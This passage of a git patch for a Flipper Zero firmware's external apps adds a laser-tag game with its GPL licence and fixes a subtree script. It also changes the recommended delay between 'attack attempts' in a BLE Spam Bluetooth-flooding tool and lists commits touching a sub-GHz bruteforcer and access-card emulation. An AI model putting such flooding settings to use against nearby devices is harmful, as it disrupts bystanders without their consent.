From 10de518810af3824f261c45f06c021a99e4523c6 Mon Sep 17 00:00:00 2001 From: RogueMaster Date: Tue, 3 Sep 2024 18:45:31 -0400 Subject: [PATCH] Squashed 'applications/external/' changes from e43e4f6bf65..5864b3f1010 5864b3f1010 WAV Player: Fix unresponsiveness cfea009edfb BLE Spam: Fix delay help section bec77fd399f Format b643a4aad2b Merge totp from https://github.com/akopachov/flipper-zero_authenticator 094d65a4018 Merge solitaire from https://github.com/doofy-dev/flipper_solitaire 4a0f5a9ee36 Merge nfc_playlist from https://github.com/acegoal07/FlipperZero_NFC_Playlist a83d4bca832 Merge laser_tag from https://github.com/RocketGod-git/Flipper-Zero-Laser-Tag df3c9f98b5f Merge pull request #6 from jamisonderek/jamisonderek/rfid-ammo bb8b73ff22f Up button scans EM4100 health tag. 6e8234e7c61 Merge pull request #7 from lucaspwo/update-api-72_1 0a7ce69a2e0 Merge pull request #39 from xtruan/patch-1 c7b2006d5a2 chore: Updated version f77e6fb59fe feat: confirm `topt export` on the device (#240) (#241) 8026dd6869d fix: add zero back 22445c50529 feat: allow delay up to 12s 25655af241b Updated to API 72.1 f0181ef71ae Update laser_tag_10px.png 48f86b96b57 Update laser_tag_10px.png d6d4119a92a Add laser_tag from https://github.com/RocketGod-git/Flipper-Zero-Laser-Tag 54d7fe3eeb6 Fix adding new app 43ff28abf2a Merge seader from https://github.com/bettse/seader 5f1159d9604 Merge picopass from https://gitlab.com/bettse/picopass c5e3d624357 Update for v1.1 0cece4d6f39 Update icon, remove test fap folder 2ed4e45a03c Update README.md 881263d3527 Get rid of laod_path when dealing with non-seader save 9e32cc75d0d Revert "SubGHz Bruteforcer: Fix one/two byte text" 018f9f63908 Move parse from card menu to card read success 56ac2481dd4 Debug log of save location for agnostic 7d70a7acd33 Explicitly set credential type before saving d5a4a955da8 replace ANY_PATH references e93f3cab71c Merge seader from https://github.com/bettse/seader c21ec249202 Update f9b4be203cb update f841cb042ff updates b2015f38869 Add contributor 6e3882f2dca Fixes 725f8891d42 Preparing for app catalog submittal 59b65a932ce Merge pull request #5 from jamisonderek/jamisonderek/always-rx 5fbc4f444dc Free IR controller if alloced. 6a56928d362 Always RX except when shooting 026c92b3994 Merge pull request #4 from jamisonderek/jamisonderek/team-color 85539e04175 Blink with team color 14067edf8c0 No github, this is not a vulnerability 7d70b9b16c1 Replace backticks with single quote marks 94f1bee7d63 Remove deprecated function 0d403739eab Update changelog cbeb02e5d51 Bump version to 1.17 e03ad23335b Merge branch 'CVE-2024-41566' into 'main' fb3160ca925 Merge branch 'main' of https://github.com/RocketGod-git/Flipper-Zero-Laser-Tag 0064f1e8955 Remove unused files 2d3fe78d513 Update README.md 430da4ac09b Add Game Over screen. Fix reload ammo logic. 7d2fe207529 Add beep when firing laser 0689af83f5a CVE-2024-41566: When keys are unknown emulate with a dummy MAC and ignore reader MACs 2b3aac887d9 Update README.md 4b821003009 Update README.md f6a4170dcdf OFW version 8f00fc1199f Update game screen for extra sexiness a31fe3f0b66 Bump to v3.1 f65e802ddd1 Correct key calculation for save as SR cc345879c7d New splash screen and team select screen. Game screen up next. e4251361e61 Merge pull request #3 from jamisonderek/double-stop 5bff6b7f42d Merge pull request #2 from jamisonderek/jamisonderek/ir-nec 3b05028cb92 Remove extra rx_stop call 90609a3b874 increase delay + add an address 5a6d1008678 uncompressed icons start with 0. afde2eec5e2 Added splash screen will customize more later, added sound/vibro, added logging, still crashes after team selection and not sure why e1d90b02450 Fixed some stuff. Added tons of logging for cli log, but ir still crashes. 3cca0c71cfd Make the Laser Tag game. e1fa61463e9 Initial commit git-subtree-dir: applications/external git-subtree-split: 5864b3f1010951a9246381caa5769b4c96053f7b --- .utils/add-subtree.sh | 10 +- ble_spam/ble_spam.c | 2 +- laser_tag/.gitattributes | 2 + laser_tag/.gitignore | 7 + laser_tag/.gitsubtree | 1 + laser_tag/LICENSE | 674 ++++++++++++++++++ laser_tag/README.md | 34 + laser_tag/application.fam | 20 + laser_tag/docs/CHANGELOG.md | 8 + laser_tag/docs/README.md | 25 + laser_tag/game_state.c | 113 +++ laser_tag/game_state.h | 42 ++ laser_tag/icons/laser_tag_10px.png | Bin 0 -> 4409 bytes laser_tag/infrared_controller.c | 205 ++++++ laser_tag/infrared_controller.h | 17 + laser_tag/infrared_signal.c | 350 +++++++++ laser_tag/infrared_signal.h | 216 ++++++ laser_tag/laser_tag_app.c | 485 +++++++++++++ laser_tag/laser_tag_app.h | 26 + laser_tag/laser_tag_icons.c | 178 +++++ laser_tag/laser_tag_icons.h | 18 + laser_tag/laser_tag_view.c | 114 +++ laser_tag/laser_tag_view.h | 13 + laser_tag/lfrfid_reader.c | 117 +++ laser_tag/lfrfid_reader.h | 57 ++ laser_tag/manifest.yml | 20 + laser_tag/screenshots/Screenshot1.png | Bin 0 -> 1470 bytes laser_tag/screenshots/Screenshot2.png | Bin 0 -> 2088 bytes laser_tag/screenshots/Screenshot3.png | Bin 0 -> 1781 bytes laser_tag/screenshots/Screenshot4.png | Bin 0 -> 1496 bytes nfc_playlist/nfc_playlist.h | 2 +- picopass/.catalog/README.md | 2 +- picopass/.catalog/changelog.md | 2 + picopass/application.fam | 2 +- picopass/picopass_device.c | 18 +- picopass/protocol/picopass_listener.c | 27 +- picopass/protocol/picopass_poller.c | 16 +- seader/application.fam | 2 +- seader/scenes/seader_scene_card_menu.c | 20 +- .../scenes/seader_scene_read_card_success.c | 16 + seader/seader_credential.c | 32 +- seader/seader_credential.h | 4 +- seader/web/.gitignore | 7 - seader/web/.well-known/traffic-advice | 6 - seader/web/404.html | 25 - seader/web/Gemfile | 37 - seader/web/Gemfile.lock | 91 --- seader/web/_config.yml | 70 -- seader/web/_includes/responsive-image.html | 16 - .../apple-touch-icon-120x120-precomposed.png | Bin 2544 -> 0 bytes seader/web/apple-touch-icon-120x120.png | Bin 2544 -> 0 bytes .../apple-touch-icon-152x152-precomposed.png | Bin 1294 -> 0 bytes seader/web/apple-touch-icon-152x152.png | Bin 1294 -> 0 bytes seader/web/apple-touch-icon-precomposed.png | Bin 2149 -> 0 bytes seader/web/apple-touch-icon.png | Bin 5918 -> 0 bytes seader/web/fake_screenshot.png | Bin 4669 -> 0 bytes seader/web/favicon.ico | Bin 15406 -> 0 bytes seader/web/index.md | 63 -- seader/web/robots.txt | 2 - solitaire/solitaire.c | 6 +- subghz_bruteforcer/views/subbrute_main_view.c | 4 +- totp/application.fam | 2 +- totp/cli/plugins/export/export.c | 30 +- totp/version.h | 4 +- wav_player/wav_parser.h | 4 +- wav_player/wav_player.c | 13 +- wav_player/wav_player_view.h | 2 +- 67 files changed, 2850 insertions(+), 429 deletions(-) create mode 100644 laser_tag/.gitattributes create mode 100644 laser_tag/.gitignore create mode 100644 laser_tag/.gitsubtree create mode 100644 laser_tag/LICENSE create mode 100644 laser_tag/README.md create mode 100644 laser_tag/application.fam create mode 100644 laser_tag/docs/CHANGELOG.md create mode 100644 laser_tag/docs/README.md create mode 100644 laser_tag/game_state.c create mode 100644 laser_tag/game_state.h create mode 100644 laser_tag/icons/laser_tag_10px.png create mode 100644 laser_tag/infrared_controller.c create mode 100644 laser_tag/infrared_controller.h create mode 100644 laser_tag/infrared_signal.c create mode 100644 laser_tag/infrared_signal.h create mode 100644 laser_tag/laser_tag_app.c create mode 100644 laser_tag/laser_tag_app.h create mode 100644 laser_tag/laser_tag_icons.c create mode 100644 laser_tag/laser_tag_icons.h create mode 100644 laser_tag/laser_tag_view.c create mode 100644 laser_tag/laser_tag_view.h create mode 100644 laser_tag/lfrfid_reader.c create mode 100644 laser_tag/lfrfid_reader.h create mode 100644 laser_tag/manifest.yml create mode 100644 laser_tag/screenshots/Screenshot1.png create mode 100644 laser_tag/screenshots/Screenshot2.png create mode 100644 laser_tag/screenshots/Screenshot3.png create mode 100644 laser_tag/screenshots/Screenshot4.png delete mode 100644 seader/web/.gitignore delete mode 100644 seader/web/.well-known/traffic-advice delete mode 100644 seader/web/404.html delete mode 100644 seader/web/Gemfile delete mode 100644 seader/web/Gemfile.lock delete mode 100644 seader/web/_config.yml delete mode 100644 seader/web/_includes/responsive-image.html delete mode 100644 seader/web/apple-touch-icon-120x120-precomposed.png delete mode 100644 seader/web/apple-touch-icon-120x120.png delete mode 100644 seader/web/apple-touch-icon-152x152-precomposed.png delete mode 100644 seader/web/apple-touch-icon-152x152.png delete mode 100644 seader/web/apple-touch-icon-precomposed.png delete mode 100644 seader/web/apple-touch-icon.png delete mode 100644 seader/web/fake_screenshot.png delete mode 100644 seader/web/favicon.ico delete mode 100644 seader/web/index.md delete mode 100644 seader/web/robots.txt diff --git a/.utils/add-subtree.sh b/.utils/add-subtree.sh index 9540bd8e37a..0045ad64876 100755 --- a/.utils/add-subtree.sh +++ b/.utils/add-subtree.sh @@ -44,9 +44,13 @@ if [ "${prevremotedir}" != "" ]; then mv -T "${prevremotedir}" "${path}" fi -# Add new remote at the top -echo "${repo} ${branch} ${subdir}" | cat - "${gitsubtree}" 2> /dev/null > "${gitsubtree}.new" -mv "${gitsubtree}.new" "${gitsubtree}" +if [ -e "${gitsubtree}" ]; then + # Add new remote at the top + echo "${repo} ${branch} ${subdir}" | cat - "${gitsubtree}" > "${gitsubtree}.new" + mv "${gitsubtree}.new" "${gitsubtree}" +else + echo "${repo} ${branch} ${subdir}" > "${gitsubtree}" +fi git add "${gitsubtree}" git commit --amend --no-edit diff --git a/ble_spam/ble_spam.c b/ble_spam/ble_spam.c index 5065af2d0f7..f7c627d7259 100644 --- a/ble_spam/ble_spam.c +++ b/ble_spam/ble_spam.c @@ -357,7 +357,7 @@ static void draw_callback(Canvas* canvas, void* _ctx) { AlignTop, "\e#Delay\e# is time between\n" "attack attempts (top right),\n" - "keep 30ms for best results", + "keep 20ms for best results", false); break; case PageHelpDistance: diff --git a/laser_tag/.gitattributes b/laser_tag/.gitattributes new file mode 100644 index 00000000000..dfe0770424b --- /dev/null +++ b/laser_tag/.gitattributes @@ -0,0 +1,2 @@ +# Auto detect text files and perform LF normalization +* text=auto diff --git a/laser_tag/.gitignore b/laser_tag/.gitignore new file mode 100644 index 00000000000..dd6a4750db6 --- /dev/null +++ b/laser_tag/.gitignore @@ -0,0 +1,7 @@ +dist/* +.vscode +.clang-format +.clangd +.editorconfig +.env +.ufbt diff --git a/laser_tag/.gitsubtree b/laser_tag/.gitsubtree new file mode 100644 index 00000000000..7040c91db5e --- /dev/null +++ b/laser_tag/.gitsubtree @@ -0,0 +1 @@ +https://github.com/RocketGod-git/Flipper-Zero-Laser-Tag main / diff --git a/laser_tag/LICENSE b/laser_tag/LICENSE new file mode 100644 index 00000000000..e62ec04cdee --- /dev/null +++ b/laser_tag/LICENSE @@ -0,0 +1,674 @@ +GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING 